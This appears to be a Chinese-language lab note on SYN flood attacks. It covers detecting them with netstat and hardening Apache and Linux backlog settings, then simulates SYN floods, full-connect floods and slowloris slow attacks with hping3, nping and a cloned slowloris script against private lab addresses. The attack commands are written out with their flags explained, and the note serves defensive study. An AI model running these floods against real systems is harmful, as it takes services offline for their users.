如何判断自己是否遭受 SYN 攻击
bash
netstat -na l grep SYN
防御 SYN 洪水攻击----连接数限制
以 Apache web 服务器为例
-
Apache 参数
文件 apache2.conf
ListenBackLog
MaxKeepAliveRequests
-
Linux 系统参数
文件 sysctl.conf
net.core.somaxconn
net.ipv4.tcp_max_syn_backlog
ulimit -n(打开文件数)
编辑 Centos 7 系统参数文件
bash
vi /etc/sysctl.conf
修改或增加下列变量 比如
bash
net.core.somaxconn=512
net.ipv4.tcp_max_syn_backlog=512
生效命令
bash
sysctl -p
ListenBackLog 值的位置
kali:/etc/apache2/apache2.conf
centos:/etc/httpd/conf/httpd.conf
hping3 模拟 半连接洪水攻击
bash
hping3 192.168.29.170 -p 80 -S --flood -rand-source
192.168.29.170:目标ip
-p:目标端口
-S:TCP SYN 攻击
-i:攻击间隔(--flood:疯狂攻击,全力)
--rand-source:源 ip 随机
nping 模拟 TCP 全连接洪水攻击
bash
nping --tcp-connect -rate=100000 -c 10000 192.168.12.117 -p80
-c,-count:运行n次之后停止
--rate:每秒发送包的数量
-q:减少冗余等级
--icmp-type:icmp 类型
-p:指定端口
命令行观测方法
bash
watch -n 2 'netstat -n | awk "/^tcp/ {++S[\$NF]} END {for(a in S) print a, S[a]}"'
slowloris 模拟慢速攻击
安装:git clone https://github.com/gkbrk/slowloris
攻击:python3 slowloris.py 192.168.29.10
抓包:tcpdump -vnn host 192.168.29.10 -w 2.pcap
Wireshark 来展示
1)制造大量 http 请求
2)周期性(每~15 秒)发送头,让连接保持
3)永远不关闭连接
PSH 表示有 DATA 数据传输,PSH为1表示是帶有 PUSH 标志的数据,指示接收方应该尽快将这个报文段交给应用层而不用等待缓冲区装满